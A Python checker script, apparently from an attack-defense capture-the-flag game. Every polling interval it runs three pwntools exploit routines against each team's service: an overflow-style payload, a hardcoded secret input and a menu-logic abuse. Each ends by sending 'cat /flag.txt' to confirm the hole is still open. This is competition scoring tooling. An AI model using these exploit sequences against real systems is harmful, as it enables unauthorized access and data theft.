You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 

153 lines
4.1 KiB

#! /usr/bin/env python3
# from pwn import context, remote
from pwn import remote, context
from multiprocessing import Pool
from time import sleep
import logging
import os
context.log_level = logging.ERROR
INTERVAL = 60
HOST = "192.168.2.20"
TOTAL_TEAMS = 10
FORMAT = "SlashRootCTF"
def poc0(host, port):
with remote(host, port) as p:
p.recvuntil(">")
p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
msg = p.recvuntil(">").decode('utf-8')
# print(msg)
if "young" in msg:
p.sendline("y")
p.recvuntil(">")
p.sendline("2")
p.recvuntil(">")
p.sendline("4")
p.recvuntil(">")
p.sendline("y")
for _ in range(10):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recvuntil("}").decode('utf-8')
# print flag
if FORMAT in flag:
return True
else:
return False
else:
return False
def poc1(host, port):
with remote(host, port) as p:
p.recvuntil(">")
p.sendline("Leo")
p.recvuntil(">")
p.sendline("y")
for _ in range(2):
p.recvuntil(">")
p.sendline("3")
p.recvuntil(">")
p.sendline("0")
if "Who" in p.recvuntil(">").decode('utf-8'):
return False
p.sendline("y")
p.recvuntil(">")
p.sendline("1")
p.recvuntil(">")
p.sendline("4")
p.recvuntil(">")
p.sendline("y")
for _ in range(10):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recvuntil("}").decode('utf-8')
if FORMAT in flag:
return True
else:
return False
def poc2(host, port):
with remote(host, port) as p:
p.recvuntil(">")
p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
p.recvuntil(">")
p.sendline("y")
p.recvuntil(">")
p.sendline("6")
if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
p.sendline("2")
p.recvuntil(">")
p.sendline("4")
p.recvuntil(">")
p.sendline("y")
for _ in range(10):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recvuntil("}").decode('utf-8')
if FORMAT in flag:
return True
else:
return False
else:
return False
def poc(host, port):
with remote(host, port) as p:
msg = p.recvuntil(">").decode('utf-8')
if "Who" in msg:
p.sendline("Leo")
msg = p.recvuntil(">").decode('utf-8')
if "Leo" in msg:
p.sendline("Y")
msg = p.recvuntil(">").decode('utf-8')
if "What" in msg:
return True
return False
def check(team):
port = (60004 + (team*100))
r = poc(HOST, port)
r0 = poc0(HOST, port)
r1 = poc1(HOST, port)
r2 = poc2(HOST, port)
return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
def init_logging(logFileName: str, debug: bool = False):
logFormatter = logging.Formatter(
fmt="[%(asctime)s][%(levelname)s] %(message)s",
datefmt='%d-%b-%y %H:%M:%S')
rootLogger = logging.getLogger("checker")
fileHandler = logging.FileHandler(logFileName)
fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
consoleHandler = logging.StreamHandler()
consoleHandler.setFormatter(logFormatter)
rootLogger.addHandler(consoleHandler)
rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
return rootLogger
if __name__ == "__main__":
checker_logger = init_logging("checker.log")
while True:
with Pool(TOTAL_TEAMS) as p:
results = p.map(check, range(1, TOTAL_TEAMS+1))
for result in results:
checker_logger.info(result)
sleep(INTERVAL)